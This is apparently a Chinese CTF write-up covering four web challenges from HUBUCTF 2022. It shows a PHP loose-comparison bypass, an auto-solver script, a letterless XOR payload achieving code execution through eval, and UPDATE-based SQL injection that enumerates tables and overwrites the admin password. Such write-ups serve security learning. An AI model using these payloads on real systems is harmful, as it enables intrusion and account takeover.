[HUBUCTF 2022 新生赛]

web

checkin

源码

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>

php弱比较绕过

exp

<?php
$a=array("username"=>0,"password"=>0);
echo serialize($a);

image-20220919000931035

Calculate

原题,直接拿我的之前写好的exp换个url就行了

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 23:57
# @Author : pysnow
import time
import requests
import re

url = 'http://1.14.71.254:28110/'
ses = requests.session()
reg = re.compile(">(.)</div")
while True:
    get = ses.get(url)
    math = reg.findall(get.text)
    final = ''.join(math)[:-1]
    result = str(eval(final))
    print(result)
    time.sleep(1)
    post = ses.post(url=url, data={"ans": result})
    if 'NSS' in post.text:
        print(post.text)
        break
    time.sleep(1)

image-20220919001440797

HowToGetShell

源码

 <?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);

无字母RCE,网上随便找个payload直接秒

mess=$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);&_=phpinfo()

image-20220919001749612

ezsql

也是原题好像,但是忘了是哪道原题,只记得是个update注入

image-20220919002058005

更新这里,age字段存在update注入,下面直接给出payload

数据库名
nickname=1&age=1,description=(select database())%23&description=1&token=a71c3b95eff9e1d01989ed7da107531d
demo2

表名
nickname=1&age=1,description=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&description=1&token=a71c3b95eff9e1d01989ed7da107531d
users

列名
nickname=1&age=1,description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)%23&description=1&token=a71c3b95eff9e1d01989ed7da107531d
id,username,password,nickname,age,description

字段名
nickname=1&age=1,description=(select group_concat(username) %75%73%65%72%73)%23&description=1&token=a71c3b95eff9e1d01989ed7da107531d

这里存在一个坑的地方,就是不能出现users关键词,会update error,后面改成url编码去掉from就可以了,但是只能查询当前用户的,用where直接失败

image-20220919002819195

image-20220919002833767

所以就尝试其他方法,可以直接修改管理员密码,先注入一下密码格式

image-20220919003115877

密码直接就是md5,那么修改admin的密码就行

nickname=1&age=1,password=(select 0x6334636134323338613062393233383230646363353039613666373538343962)where username=0x61646d696e%23&description=1&token=515c06cc57eb9f403de15506a14f8eca

这里注意,flag在description字段,所以得重开一个环境,因为之前的update是会修改所有的用户的

最后用密码1登陆拿到flag

image-20220919003735963

顺便提一句,admin的默认密码是iamcoolimage-20220919003807040

最后修改:2022 年 09 月 19 日
如果觉得我的文章对你有用,请随意赞赏